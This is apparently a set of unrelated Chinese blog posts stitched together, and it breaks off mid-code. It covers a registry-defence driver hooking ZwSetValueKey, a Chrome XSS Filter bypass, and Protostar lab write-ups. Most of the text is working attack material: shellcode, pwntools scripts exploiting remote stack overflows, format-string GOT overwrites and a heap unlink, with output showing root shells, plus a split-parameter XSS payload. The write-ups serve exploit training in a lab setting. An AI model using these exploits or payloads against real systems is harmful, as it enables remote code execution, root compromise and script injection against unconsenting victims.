弱小和无知不是生存障碍，傲慢才是。
注：这个主防只支持x86系统。。本人技术略渣，x64还没搞出来。。。。 注注：这篇文章是很久以前发在旧博客里的，无意间翻到了觉得还不错，复制过来了，毕竟也是用心做的东西。 这个SSDT的内容我用了之前的一个框架，网上也有很多的SSDT库。关于SSDT还不太清楚的童鞋可以看看我以前的一篇文章。 http://lightlesshome.diandian.com/post/2014-01-29/40060870666 主要就是一个主防的思路问题。我的思路比较简单，很多方面都没有考虑到，用ZwSetKeyValue这个函数来开刀。 首先肯定是要HOOK掉这个函数。之后就要考虑ring0和ring3交互的问题。这里采用的是DeviceIoControl和IOCTL的方法来进行交互的。 首先ring0进行监听，然后得到监听到事件后向ring3发出一个信号（暂且用信号这个词，其实是通知ring3），然后ring3收到通知后，向ring0请求信息，ring0会把一系列的东西传递给ring3，ring3进行处理后弹框并询问用户是否允许修改。 我参考了下这篇文章的方法，在数据量不大的时候并且不要求效率的时候可以考虑采用下面这个模型。 http://www.cnblogs.com/dflower/archive/2009/04/17/1438066.html IOCTL控制码的话主要定义了以下几个。 // 设置事件 #define IOCTL_SETEVENT \ (ULONG)CTL_CODE(FILE_DEVICE_UNKNOWN, 0x831, METHOD_BUFFERED, FILE_ANY_ACCESS) // 向ring0 请求数据 #define IOCTL_GETINFO \ (ULONG)CTL_CODE(FILE_DEVICE_UNKNOWN, 0x832, METHOD_BUFFERED, FILE_ANY_ACCESS) // 设置等待用户判断的事件 #define IOCTL_SETWAITEVENT \ (ULONG)CTL_CODE(FILE_DEVICE_UNKNOWN, 0x833, METHOD_BUFFERED, FILE_ANY_ACCESS) // 传递用户的判断结果 #define IOCTL_PASSUSERRES \ (ULONG)CTL_CODE(FILE_DEVICE_UNKNOWN, 0x834, METHOD_BUFFERED, FILE_ANY_ACCESS) 用途稍后会进行解释。 关于这个DeviceIoControl函数的用法可以参考下MSDN，比较简单，主要就是向ring0发送个控制码，然后获取数据之类的啥啥啥的。 在ring0中用这个函数。NTSTATUS DeviceIoControlDispatch(IN PDEVICE_OBJECT DeviceObject, IN PIRP pIrp); 然后设置以下派遣函数 DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DeviceIoControlDispatch; DriverObject->MajorFunction[IRP_MJ_CREATE] = DeviceIoControlDispatch; DriverObject->MajorFunction[IRP_MJ_CLOSE] = DeviceIoControlDispatch; 下面要在这个函数中获取IOCTL功能码 PIO_STACK_LOCATION irpStack; irpStack = IoGetCurrentIrpStackLocation(pIrp); irpStack->Parameters.DeviceIoControl.IoControlCode 那个IoControlCode就是功能码了。 下面就是继续switch case 来进行处理每一个功能码了。 基本上DeviceIoControlDispatch就是这样了。下面来考虑怎么在ring0和ring3中互相通知。 可以在ring3中创建一个事件，然后单独开一个线程来监视这个事件。开线程之前使用DeviceIoControl函数将这个事件的句柄传递到内核中，ring0收到这个事件后，转为句柄并保存起来，在以后需要使用的时候拿出来使用。 在ring3中： 先打开我们的驱动，其中的"\\.\RegDef"是驱动中的符号链接。 m_hDevice = CreateFile("\\\\.\\RegDef", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_SYSTEM, NULL); 然后创建事件 m_hEvent = CreateEvent(NULL, FALSE, FALSE, NULL); 下面将事件句柄传递到ring0中。 DeviceIoControl(m_hDevice, IOCTL_SETEVENT, &m_hEvent, sizeof(HANDLE), NULL, 0, &m_returnBytes, NULL); 然后开启一个新线程用来监视这个Event。我这里ring3使用的MFC，比较方便一点。 AfxBeginThread(EventThread, this); UINT CRegDefDlg::EventThread(LPVOID pParam) { CRegDefDlg *pThis = (CRegDefDlg *)pParam; DWORD dwReturned = 0; int i = 0; char szBuf[512]; char szName[128]; char szKey[128]; char szSubKey[128]; CString strTemp; while (true) { WaitForSingleObject(pThis->m_hEvent, INFINITE); DeviceIoControl(pThis->m_hDevice, IOCTL_GETINFO, NULL, 0, &pThis->m_OutBuffer, 1024, &dwReturned, NULL); //AfxMessageBox(pThis->m_OutBuffer); strTemp.Empty(); strTemp.Format("%s", pThis->m_OutBuffer); AfxMessageBox(strTemp); ZeroMemory(szBuf, 512);ZeroMemory(szName, 128);ZeroMemory(szKey, 128);ZeroMemory(szSubKey, 128); // sscanf(pThis->m_OutBuffer, "%[]", szName, szKey, szSubKey); int i = 0; int j = 0; while (pThis->m_OutBuffer[i] != '|') { szName[j] = pThis->m_OutBuffer[i]; i++;j++; } i += 1;j = 0; while (pThis->m_OutBuffer[i] != '|') { szKey[j] = pThis->m_OutBuffer[i]; i++;j++; } i += 1;j = 0; while (pThis->m_OutBuffer[i] != '|') { szSubKey[j] = pThis->m_OutBuffer[i]; i++;j++; } sprintf(szBuf, "Process Name: %s\r\nRegistry key: %s\r\nSubkey: %s\r\nWould you want this process to change the registyr?", szName, szKey, szSubKey); int t = pThis->MessageBox(szBuf,"Warning!", MB_YESNO); if (t == IDYES) { // 1表示允许修改; pThis->UserRes = 1; DeviceIoControl(pThis->m_hDevice, IOCTL_PASSUSERRES, &pThis->UserRes, 1, NULL, 0, &dwReturned, NULL); } else { // 0表示不允许修改 pThis->UserRes = 0; DeviceIoControl(pThis->m_hDevice, IOCTL_PASSUSERRES, &pThis->UserRes, 1, NULL, 0, &dwReturned, NULL); } SetEvent(pThis->m_hWaitUserRequestEvent); ResetEvent(pThis->m_hEvent); } return 0; } 写完后考虑了下用一个线程来一直监听可能会有点蛋疼。可能会出现各种bug。 里面主要的东西就是那个while(true)循环，在这个循环里，首先要进行WatiForSingleObject来等待事件的发生。一旦等待完成，就要马上发送IOCTL_GETINFO来获取信息，（这里定义的IOCTL_GETINFO控制码是用来向ring0获取信息的），然后中间一大堆字符串处理的东西请忽视。pThis->UserRes用来表示用户是否允许修改，如果允许的话就置为1，不允许就置为0，然后将这个参数传递到ring0中，这里用到的控制码是IOCTL_PASSUSERRES。之后要ResetEvent()，不然的话会挂掉。 下面来看ring0中的处理，首先要获取ring3传下来的事件句柄，并保存下来。下面这段代码在DeviceIoControlDispatch中。 case IOCTL_SETEVENT: KdPrint(("IOCTL_SETEVENT called.")); pInBuffer = pIrp->AssociatedIrp.SystemBuffer; pInbufferSize = irpStack->Parameters.DeviceIoControl.InputBufferLength; if (pInBuffer == NULL || pInbufferSize < sizeof(HANDLE)) { KdPrint(("[DeviceIoControlDispatch] Set event error!\n")); status = STATUS_INVALID_BUFFER_SIZE; break; } hEvent = *(HANDLE*)pInBuffer; KdPrint(("hEvent: %x\n", hEvent)); status = ObReferenceObjectByHandle(hEvent, GENERIC_ALL, NULL, KernelMode, (PVOID*)&gpEventObject, objHandleInfo); KdPrint(("gpEventObject: %x\n",gpEventObject)); break; 之前定义IOCTL的时候用的是BUFFER_IO方式，这里就用buffer来获取数据。关键就是这个ObReferenceObjectByHandle，之前一直是倒数第二个参数没加&符号，蓝屏了无数次。。。 hEvent是一个HANDLE类型。然后gpEventObject是PRKEVENT类型的全局变量，用于保存这个事件句柄，objHandleInfo是全局POBJECT_HANDLE_INFORMATION类型，不过好像在某些地方看到这个参数用NULL也可以。没有试验过，童鞋们可以自己尝试。这样这个句柄就保存下来了，在需要通知应用层事件的地方加上 KeSetEvent(gpEventObject, 0, FALSE); 这时ring3就会通过DeviceIoControl向驱动层请求数据。这个方法好像在竹林蹊径上也看到。 通信问题解决了之后就是考虑我们自己的HookZwSetValueKey的问题。 首先就是检测修改的注册表路径，如果是不允许修改的路径，比如启动项，那么就阻塞住ring0，并向ring3发送信息申请是否可以修改。因为同时有N多个进程会使用注册表，所以要先用一个互斥体来保证资源。随后调用KeSetEvent和KeClearEvent来通知上层应用，传递好进程的信息之后，就要KeWaitForSingleObject 来等待另一个事件，目的是等待上层应用的确认，基本上就是这样了。 完整代码请移步：https://github.com/LightIce/RegistryDefence/
Google Chrome 44.0.2403.157 XSS Filter Bypass
原文地址：http://cxsecurity.com/issue/WLB-2015080141 像你所熟知的，chrome处于安全原因，不会执行跨站脚本中的JS代码，并且通过这个方法阻止了很多XSS攻击。假如现在你有一个受XSS影响的PHP代码(chrome.php)： <?php // Echo the value of parameter one echo "This is text1:".$_GET['text1']." "; // Echo the value of parameter two echo "This is text2:".$_GET['text2']." "; ?> 这个PHP文件接收两个参数，并且未经任何过滤就输出，这允许你去运行JS代码了。如果你在chrome中测试类似下面的xss payload： http://[HOSTNAME]/[PATH]/chrome.php?text1= &text2=Something 你会发现他不会弹窗，并且JS代码显示出来了，而且还会发现你的代码被红色高亮了。这是因为chrome极高的安全性，如果你测试其他的类似代码，你会发现相同的结果。但是，我们尝试一下不闭合 在这次测试中，你的代码完全的显示了出来，完全没有被红色高亮标记，但是又一次被视为HTML文本。我们来试一下用引号并且在两个引号中放一些非代码的文本！举个例子，使用void('')，在第一个参数中传入('，并且在另一个参数中使用')闭合。 现在试一下： http://[HOSTNAME]/[PATH]/chrome.php?text1= 很棒，你发现弹窗了！你的JS代码被执行了！这正是我们想要的。你也可以使用document.write('')或其他的来代替void('')。 上个例子： http://[HOSTNAME]/[PATH]/chrome.php?text1=
最后的Final系列，把这个系列的东西都综合起来了。 final 0 char *get_username() { char buffer[512]; char *q; int i; memset(buffer, 0, sizeof(buffer)); gets(buffer); /* Strip off trailing new line characters */ q = strchr(buffer, '\n'); if(q) *q = 0; q = strchr(buffer, '\r'); if(q) *q = 0; /* Convert to lower case */ for(i = 0; i < strlen(buffer); i++) { buffer[i] = toupper(buffer[i]); } /* Duplicate the string and return it */ return strdup(buffer); } 这个题目是结合了栈溢出和网络相关的知识，一道远程溢出的题目。很明显，接收buffer的时候没有对长度做检查，导致了溢出。先来看看溢出点在哪里。 ➜ net python ~/pattern.py create 600 [binary] ➜ net nc 192.168.37.159 2995 [binary] 通过core dump文件找找偏移量。 user@protostar:/opt/protostar/bin$ gdb -q ./final0 --core=/tmp/core.11.final0.11324 Reading symbols from /opt/protostar/bin/final0...done. warning: Can't read pathname for load map: Input/output error. Reading symbols from /lib/libc.so.6...Reading symbols from /usr/lib/debug/lib/libc-2.11.2.so...done. (no debugging symbols found)...done. Loaded symbols for /lib/libc.so.6 Reading symbols from /lib/ld-linux.so.2...Reading symbols from /usr/lib/debug/lib/ld-2.11.2.so...done. (no debugging symbols found)...done. Loaded symbols for /lib/ld-linux.so.2 Core was generated by `/opt/protostar/bin/final0'. Program terminated with signal 11, Segmentation fault. #0 0x72413772 in ?? () ➜ net python ~/pattern.py offset 0x72413772 hex pattern decoded as: r7Ar 532 shellcode我们选择这个可以绕过toupper()的： shellcode = "\xeb\x29\x5e\x29\xc9\x89\xf3\x89\x5e\x08\xb1\x07" shellcode += "\x80\x03\x20\x43\xe0\xfa\x29\xc0\x88\x46\x07\x89\x46\x0c" shellcode += "\xb0\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c\xcd\x80" shellcode += "\x29\xc0\x40\xcd\x80\xe8\xd2\xff\xff\xff" shellcode += "\x0f\x42\x49\x4e\x0f\x53\x48" shellcode来自：https://www.exploit-db.com/exploits/13460/ 找一下返回地址: (gdb) x/10s $esp-536 0xbffffa48: "AA0AA1AA2AA3AA4........ 太长了多余的不贴了，写payload吧。 from pwn import * target = remote('192.168.37.159',2995) shellcode = "\xeb\x29\x5e\x29\xc9\x89\xf3\x89\x5e\x08\xb1\x07" shellcode += "\x80\x03\x20\x43\xe0\xfa\x29\xc0\x88\x46\x07\x89\x46\x0c" shellcode += "\xb0\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c\xcd\x80" shellcode += "\x29\xc0\x40\xcd\x80\xe8\xd2\xff\xff\xff" shellcode += "\x0f\x42\x49\x4e\x0f\x53\x48" nopcode = '\x90' * 20 ret_addr = 0xbffffa48 payload = nopcode + shellcode + 'A' * (532 - len(shellcode) - len(nopcode)) + p32(ret_addr) target.send(payload) target.interactive() 打一下试试： ➜ net python final0.py [+] Opening connection to 192.168.37.159 on port 2995: Done [*] Switching to interactive mode $ whoami root $ id uid=0(root) gid=0(root) groups=0(root) $ final 1 先上代码： #include "../common/common.c" #include <syslog.h> #define NAME "final1" #define UID 0 #define GID 0 #define PORT 2994 char username[128]; char hostname[64]; void logit(char *pw) { char buf[512]; snprintf(buf, sizeof(buf), "Login from %s as [%s] with password [%s]\n", hostname, username, pw); syslog(LOG_USER|LOG_DEBUG, buf); } void trim(char *str) { char *q; q = strchr(str, '\r'); if(q) *q = 0; q = strchr(str, '\n'); if(q) *q = 0; } void parser() { char line[128]; printf("[final1] $ "); while(fgets(line, sizeof(line)-1, stdin)) { trim(line); if(strncmp(line, "username ", 9) == 0) { strcpy(username, line+9); } else if(strncmp(line, "login ", 6) == 0) { if(username[0] == 0) { printf("invalid protocol\n"); } else { logit(line + 6); printf("login failed\n"); } } printf("[final1] $ "); } } void getipport() { int l; struct sockaddr_in sin; l = sizeof(struct sockaddr_in); if(getpeername(0, &sin, &l) == -1) { err(1, "you don't exist"); } sprintf(hostname, "%s:%d", inet_ntoa(sin.sin_addr), ntohs(sin.sin_port)); } int main(int argc, char **argv, char **envp) { int fd; char *username; /* Run the process as a daemon */ background_process(NAME, UID, GID); /* Wait for socket activity and return */ fd = serve_forever(PORT); /* Set the client socket to STDIN, STDOUT, and STDERR */ set_io(fd); getipport(); parser(); } 这个题是用syslog输出的，如果仅仅是远程打的话看不到回显有点蛋疼。只能上去一边看syslog一边打。既然这里调用了syslog，我们就把syslog的地址改为我们shellcode的地址。先来看看syslog函数的地址是多少： user@protostar:/opt/protostar/bin$ objdump -R final1 | grep syslog 0804a11c R_386_JUMP_SLOT syslog 现在来确定一下偏移量。 payload = 'username AAAABBBB' + '%08x.' * 20 + '[%08x]\n' payload += 'login b\n' Login from 192.168.198.128:49884 as [AAAABBBB08049ee4.0804a2a0.0804a220.bffffbd6.b7fd7ff4.bffffa28.69676f4c.7266206e.31206d6f.312e3239.312e3836.312e3839.343a3832.34383839.20736120.4141415b.42424241.38302542.30252e78.252e7838.[2e783830]] with password [b] 还需要调整一下payload： payload = 'username xxxAAAAx' + '%08x.' * 16 + '[%08x]\n' payload += 'login b\n' Login from 192.168.198.128:49893 as [xxxAAAAx08049ee4.0804a2a0.0804a220.bffffbd6.b7fd7ff4.bffffa28.69676f4c.7266206e.31206d6f.312e3239.312e3836.312e3839.343a3832.33393839.20736120.7878785b.[41414141]] with password [b] 调整好了，现在的问题是把syslog的地址改为shellcode的地址。 payload = 'username xxx\x1c\xa1\x04\x08' + '\x1d\xa1\x04\x08' + '\x1e\xa1\x04\x08' + '\x1f\xa1\x04\x08' + '%164u%17$08n' + '%287u%18$08n' + '%260u%19$08n' + '%192u%20$08n' + '\n' 接下来为了触发shellcode，还需要确定何时发送shellcode。 payload = 'username xxx\x1c\xa1\x04\x08' + '\x1d\xa1\x04\x08' + '\x1e\xa1\x04\x08' + '\x1f\xa1\x04\x08' + '%164u%17$08n' + '%287u%18$08n' + '%260u%19$08n' + '%192u%20$08n' + '\n' payload += 'login ' + 'Z'*55 + '\n' payload += 'login ' + 'Y'*55 + '\n' target.send(payload) 然后丢到gdb里调一下，发现Y这个位置会出现在栈里，决定把这里替换为shellcode，地址是0xbffffbdc。 然后就可以写exp了： from pwn import * target = remote('192.168.198.129', 2994) nopcode = '\x90' * 12 shellcode = "\xeb\x29\x5e\x29\xc9\x89\xf3\x89\x5e\x08\xb1\x07" shellcode += "\x80\x03\x20\x43\xe0\xfa\x29\xc0\x88\x46\x07\x89\x46\x0c" shellcode += "\xb0\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c\xcd\x80" shellcode += "\x29\xc0\x40\xcd\x80\xe8\xd2\xff\xff\xff" shellcode += "\x0f\x42\x49\x4e\x0f\x53\x48" shellcode = nopcode + shellcode payload = 'username xxx\x1c\xa1\x04\x08' + '\x1d\xa1\x04\x08' + '\x1e\xa1\x04\x08' + '\x1f\xa1\x04\x08' + '%164u%17$08n' + '%287u%18$08n' + '%260u%19$08n' + '%192u%20$08n' + '\n' payload += 'login ' + 'Z'*55 + '\n' payload += 'login ' + shellcode + '\n' target.send(payload) target.interactive() target.close() 打一下看看结果： ➜ program python final1-exp.py [+] Opening connection to 192.168.198.129 on port 2994: Done [*] Switching to interactive mode [final1] $ [final1] $ login failed [final1] $ $ whoami root $ id uid=0(root) gid=0(root) groups=0(root) $ final 2 这个题是远程的堆溢出，有点蛋疼。 #include "../common/common.c" #include "../common/malloc.c" #define NAME "final2" #define UID 0 #define GID 0 #define PORT 2993 #define REQSZ 128 void check_path(char *buf) { char *start; char *p; int l; /* * Work out old software bug */ p = rindex(buf, '/'); l = strlen(p); if(p) { start = strstr(buf, "ROOT"); if(start) { while(*start != '/') start--; memmove(start, p, l); printf("moving from %p to %p (exploit: %s / %d)\n", p, start, start < buf ? "yes" : "no", start - buf); } } } int get_requests(int fd) { char *buf; char *destroylist[256]; int dll; int i; dll = 0; while(1) { if(dll >= 255) break; buf = calloc(REQSZ, 1); if(read(fd, buf, REQSZ) != REQSZ) break; if(strncmp(buf, "FSRD", 4) != 0) break; check_path(buf + 4); dll++; } for(i = 0; i < dll; i++) { write(fd, "Process OK\n", strlen("Process OK\n")); free(destroylist[i]); } } int main(int argc, char **argv, char **envp) { int fd; char *username; /* Run the process as a daemon */ background_process(NAME, UID, GID); /* Wait for socket activity and return */ fd = serve_forever(PORT); /* Set the client socket to STDIN, STDOUT, and STDERR */ set_io(fd); get_requests(fd); } 分析下来，发现在查找/的时候，没有进行边界检查，出现了堆溢出。这里给出的源码和二进制文件有些出入，二进制中check_path函数没有调用printf函数，而且这里在46行左右少了一行代码，是destorylist[dll] = buf，对应后面的free函数。每次请求的时候，都会calloc一个128字节的空间，而且我们的请求长度必须满足128字节。这样一来，我们可以发送两个请求，这样会分配两个chunk，第一个请求的/放在最后，第二个请求增加ROOT字符串。大概是这个样子： payload = 'FSRD' + 'A'*123 + '/' payload += 'FSRDROOT' + 'B'*103 + '/' + '\xfc\xff\xff\xff'*2 + 'CCCC' + 'DDDD' 然后看一下core dump文件： (gdb) x/i $eip 0x804aaef <free+301>: mov %edx,0xc(%eax) (gdb) i r eax 0x43434343 1128481603 ecx 0x804c2d6 134529750 edx 0x44444444 1145324612 ebx 0xb7fd7ff4 -1208123404 esp 0xbffff7e0 0xbffff7e0 ebp 0xbffff828 0xbffff828 esi 0x0 0 edi 0x0 0 eip 0x804aaef 0x804aaef <free+301> eflags 0x10246 [ PF ZF IF RF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) x/100x 0x0804e000 0x804e000: 0x00000000 0x00000089 0x44525346 0x41414141 0x804e010: 0x41414141 0x41414141 0x41414141 0x41414141 0x804e020: 0x41414141 0x41414141 0x41414141 0x41414141 0x804e030: 0x41414141 0x41414141 0x41414141 0x41414141 0x804e040: 0x41414141 0x41414141 0x41414141 0x41414141 0x804e050: 0x41414141 0x41414141 0x41414141 0x41414141 0x804e060: 0x41414141 0x41414141 0x41414141 0x41414141 0x804e070: 0x41414141 0x41414141 0x41414141 0x41414141 0x804e080: 0x41414141 0x2f414141 0xfffffffc 0xfffffffc 0x804e090: 0x43434343 0x44444444 0x42424242 0x42424242 0x804e0a0: 0x42424242 0x42424242 0x42424242 0x42424242 0x804e0b0: 0x42424242 0x42424242 0x42424242 0x42424242 0x804e0c0: 0x42424242 0x42424242 0x42424242 0x42424242 0x804e0d0: 0x42424242 0x42424242 0x42424242 0x42424242 0x804e0e0: 0x42424242 0x42424242 0x42424242 0x42424242 0x804e0f0: 0x42424242 0x42424242 0x42424242 0x2f424242 0x804e100: 0xfffffffc 0xfffffffc 0x43434343 0x44444444 基本上已经可以打了，然后是加入shellcode和真正需要修改的地址。获取write函数的地址： user@protostar:/opt/protostar/bin$ objdump -R final2 | grep write 0804d41c R_386_JUMP_SLOT write 0804d468 R_386_JUMP_SLOT fwrite 还有个fwrite，不管他，我们选择覆盖掉write在GOT中的地址。然后shellcode注入到0x0804e00c这个位置，多一点也没关系，反正shellcode前面填充了nop。 构造payload： from pwn import * target = remote('192.168.198.129', 2993) nopcode = '\x90' * 12 shellcode = "\xeb\x29\x5e\x29\xc9\x89\xf3\x89\x5e\x08\xb1\x07" shellcode += "\x80\x03\x20\x43\xe0\xfa\x29\xc0\x88\x46\x07\x89\x46\x0c" shellcode += "\xb0\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c\xcd\x80" shellcode += "\x29\xc0\x40\xcd\x80\xe8\xd2\xff\xff\xff" shellcode += "\x0f\x42\x49\x4e\x0f\x53\x48" shellcode = nopcode + shellcode writeAddr = 0x0804d41c shellcodeAddr = 0x0804e00c payload = 'FSRD' + shellcode + 'A'*(123-len(shellcode)) + '/' payload += 'FSRDROOT' + 'B'*103 + '/' + '\xfc\xff\xff\xff'*2 + p32(writeAddr-0xc) + p32(shellcodeAddr) target.send(payload) target.interactive() target.close() 跑起来看看效果： ➜ program python final2-exp.py [+] Opening connection to 192.168.198.129 on port 2993: Done [*] Switching to interactive mode $ id Process OK $ id uid=0(root) gid=0(root) groups=0(root) $ whoami root $ 至此protostar系列已经通关了。
这个系列开始涉及网络部分了，感觉这部分还是很简单的。 net 0 先来看源码： #include "../common/common.c" #define NAME "net0" #define UID 999 #define GID 999 #define PORT 2999 void run() { unsigned int i; unsigned int wanted; wanted = random(); printf("Please send '%d' as a little endian 32bit int\n", wanted); if(fread(&i, sizeof(i), 1, stdin) == NULL) { errx(1, ":(\n"); } if(i == wanted) { printf("Thank you sir/madam\n"); } else { printf("I'm sorry, you sent %d instead\n", i); } } int main(int argc, char **argv, char **envp) { int fd; char *username; /* Run the process as a daemon */ background_process(NAME, UID, GID); /* Wait for socket activity and return */ fd = serve_forever(PORT); /* Set the client socket to STDIN, STDOUT, and STDERR */ set_io(fd); /* Don't do this :> */ srandom(time(NULL)); run(); } 主函数中的大部分内容其实不需要关注的，主要来看run()函数，这里面随机生成了一个值，并且接受一个输入值，判断两个值是否相等。来，我们祭出pwntools。 from pwn import * target = remote('192.168.37.159',2999) temp = target.recv() print temp temp = temp[temp.find("'"):] temp = temp[1:] temp = temp[:temp.find("'")] print temp target.send(p32(int(temp,10))) print target.recv() target.close() 结果如下： ➜ net python net0.py [+] Opening connection to 192.168.37.159 on port 2999: Done Please send '577360076' as a little endian 32bit int 577360076 Thank you sir/madam [*] Closed connection to 192.168.37.159 port 2999 net 1 这里只贴出关键代码吧。 void run() { char buf[12]; char fub[12]; char *q; unsigned int wanted; wanted = random(); sprintf(fub, "%d", wanted); if(write(0, &wanted, sizeof(wanted)) != sizeof(wanted)) { errx(1, ":(\n"); } if(fgets(buf, sizeof(buf)-1, stdin) == NULL) { errx(1, ":(\n"); } q = strchr(buf, '\r'); if(q) *q = 0; q = strchr(buf, '\n'); if(q) *q = 0; if(strcmp(fub, buf) == 0) { printf("you correctly sent the data\n"); } else { printf("you didn't send the data properly\n"); } } 这个题还是要让我们发送过去一个和随机生成的数值一样的东西。这次把接收到的东西unpack再发过去就可以了，代码如下： from pwn import * target = remote('192.168.37.159',2998) temp = target.recv() print temp payload = u32(temp) target.send(str(payload)+'\n') print target.recv() target.close() 跑一下： ➜ net python net1.py [+] Opening connection to 192.168.37.159 on port 2998: Done \xa3\x93\xbfq you correctly sent the data [*] Closed connection to 192.168.37.159 port 2998 net 2 这次是把四个数加起来了，贴上关键代码： void run() { unsigned int quad[4]; int i; unsigned int result, wanted; result = 0; for(i = 0; i < 4; i++) { quad[i] = random(); result += quad[i]; if(write(0, &(quad[i]), sizeof(result)) != sizeof(result)) { errx(1, ":(\n"); } } if(read(0, &wanted, sizeof(result)) != sizeof(result)) { errx(1, ":<\n"); } if(result == wanted) { printf("you added them correctly\n"); } else { printf("sorry, try again. invalid\n"); } } 直接写payload吧： from pwn import * target = remote('192.168.37.159',2997) sum = 0 for i in range(4): t = target.recv(4) sum += u32(t) print "sum=", sum target.send(p64(sum)) print target.recv() target.close() 跑起来看结果： ➜ net python net2.py [+] Opening connection to 192.168.37.159 on port 2997: Done sum= 3394642374 you added them correctly [*] Closed connection to 192.168.37.159 port 2997
感觉是比较难的一部分了，毕竟堆溢出平常接触的少。 heap 0 源码： #include <stdlib.h> #include <unistd.h> #include <string.h> #include <stdio.h> #include <sys/types.h> struct data { char name[64]; }; struct fp { int (*fp)(); }; void winner() { printf("level passed\n"); } void nowinner() { printf("level has not been passed\n"); } int main(int argc, char **argv) { struct data *d; struct fp *f; d = malloc(sizeof(struct data)); f = malloc(sizeof(struct fp)); f->fp = nowinner; printf("data is at %p, fp is at %p\n", d, f); strcpy(d->name, argv[1]); f->fp(); } 先找溢出点： user@protostar:/opt/protostar/bin$ gdb ./heap0 Reading symbols from /opt/protostar/bin/heap0...done. (gdb) r `python /home/user/pattern.py create 150` Starting program: /opt/protostar/bin/heap0 `python /home/user/pattern.py create 150` data is at 0x804a008, fp is at 0x804a050 Program received signal SIGSEGV, Segmentation fault. 0x41346341 in ?? () user@protostar:/opt/protostar/bin$ python /home/user/pattern.py offset 0x41346341 hex pattern decoded as: Ac4A 72 找到winner()函数的地址： user@protostar:/opt/protostar/bin$ objdump -d heap0 | grep win 08048464 <winner>: 构造payload: user@protostar:/opt/protostar/bin$ ./heap0 `python -c "print 'A'*72 + '\x64\x84\x04\x08' "` data is at 0x804a008, fp is at 0x804a050 level passed 不知道是不是正解。 heap 1 先贴代码： #include <stdlib.h> #include <unistd.h> #include <string.h> #include <stdio.h> #include <sys/types.h> struct internet { int priority; char *name; }; void winner() { printf("and we have a winner @ %d\n", time(NULL)); } int main(int argc, char **argv) { struct internet *i1, *i2, *i3; i1 = malloc(sizeof(struct internet)); i1->priority = 1; i1->name = malloc(8); i2 = malloc(sizeof(struct internet)); i2->priority = 2; i2->name = malloc(8); strcpy(i1->name, argv[1]); strcpy(i2->name, argv[2]); printf("and that's a wrap folks!\n"); } 出现问题的地方很容易找到，就是其中的两个strcpy的地方，但是这题想执行winner()的话，还是需要修改GOT。先注意一点，printf()会被优化称puts()，所以我们实际上是修改puts()在GOT中的条目，让其调用puts()的时候调用winner()。这里就需要使用strcpy()的方式来修改GOT，让strcpy()把winner()函数的地址复制到GOT表中对应的位置。 先来找这几个地址： user@protostar:/opt/protostar/bin$ objdump -TR heap1 heap1: file format elf32-i386 DYNAMIC SYMBOL TABLE: 00000000 w D *UND* 00000000 __gmon_start__ 00000000 DF *UND* 00000000 GLIBC_2.0 __libc_start_main 00000000 DF *UND* 00000000 GLIBC_2.0 strcpy 00000000 DF *UND* 00000000 GLIBC_2.0 printf 00000000 DF *UND* 00000000 GLIBC_2.0 time 00000000 DF *UND* 00000000 GLIBC_2.0 malloc 00000000 DF *UND* 00000000 GLIBC_2.0 puts 0804862c g DO .rodata 00000004 Base _IO_stdin_used DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 0804974c R_386_GLOB_DAT __gmon_start__ 0804975c R_386_JUMP_SLOT __gmon_start__ 08049760 R_386_JUMP_SLOT __libc_start_main 08049764 R_386_JUMP_SLOT strcpy 08049768 R_386_JUMP_SLOT printf 0804976c R_386_JUMP_SLOT time 08049770 R_386_JUMP_SLOT malloc 08049774 R_386_JUMP_SLOT puts 找到了puts()的地址为0x08049774，等下就要把这个地址里的内容覆盖掉。下面找一下winner()的地址： user@protostar:/opt/protostar/bin$ objdump -d heap1 | grep win 08048494 <winner>: winner()函数的地址为0x08048494，下面我们就需要把0x08049774中的内容替换为0x08048494。先确定这两个部分在堆中的位置。 user@protostar:/opt/protostar/bin$ ltrace ./heap1 AAAA BBBB __libc_start_main(0x80484b9, 3, 0xbffff894, 0x8048580, 0x8048570 <unfinished ...> malloc(8) = 0x0804a008 malloc(8) = 0x0804a018 malloc(8) = 0x0804a028 malloc(8) = 0x0804a038 strcpy(0x0804a018, "AAAA") = 0x0804a018 strcpy(0x0804a038, "BBBB") = 0x0804a038 puts("and that's a wrap folks!"and that's a wrap folks! ) = 25 +++ exited (status 25) +++ 可以看到大概是从0x0804a000开始的，我们在执行完两次strcpy的时候看一看内存中的情况。 user@protostar:/opt/protostar/bin$ gdb -q ./heap1 Reading symbols from /opt/protostar/bin/heap1...done. (gdb) b *main+161 Breakpoint 1 at 0x804855a: file heap1/heap1.c, line 34. (gdb) r AAAA BBBB Starting program: /opt/protostar/bin/heap1 AAAA BBBB Breakpoint 1, main (argc=3, argv=0xbffff854) at heap1/heap1.c:34 34 heap1/heap1.c: No such file or directory. in heap1/heap1.c (gdb) x/32x 0x0804a000 0x804a000: 0x00000000 0x00000011 0x00000001 0x0804a018 0x804a010: 0x00000000 0x00000011 0x41414141 0x00000000 0x804a020: 0x00000000 0x00000011 0x00000002 0x0804a038 0x804a030: 0x00000000 0x00000011 0x42424242 0x00000000 0x804a040: 0x00000000 0x00020fc1 0x00000000 0x00000000 0x804a050: 0x00000000 0x00000000 0x00000000 0x00000000 0x804a060: 0x00000000 0x00000000 0x00000000 0x00000000 0x804a070: 0x00000000 0x00000000 0x00000000 0x00000000 仔细观察一下，发现两个字符串被复制到了0x0804a018和0x0804a038的位置，然而复制到哪里也是在堆中标明的(看看0x0804a00c和0x0804a02c中的内容)，现在我们的目的是把0x0804a02c的内容改为0x08049774，让strcpy向这个地址中复制内容，而复制的内容则是由我们输入的winner地址，于是可以构造出payload： 第一个参数：| junk code * 20 | p32(0x08049774) | 第二个参数：| 0x08048494 | 最终payload如下： user@protostar:/opt/protostar/bin$ ./heap1 `python -c "print 'A'*20 + '\x74\x97\x04\x08'"` `python -c "print '\x94\x84\x04\x08'"` and we have a winner @ 1438772753 heap 2 先上代码： #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> struct auth { char name[32]; int auth; }; struct auth *auth; char *service; int main(int argc, char **argv) { char line[128]; while(1) { 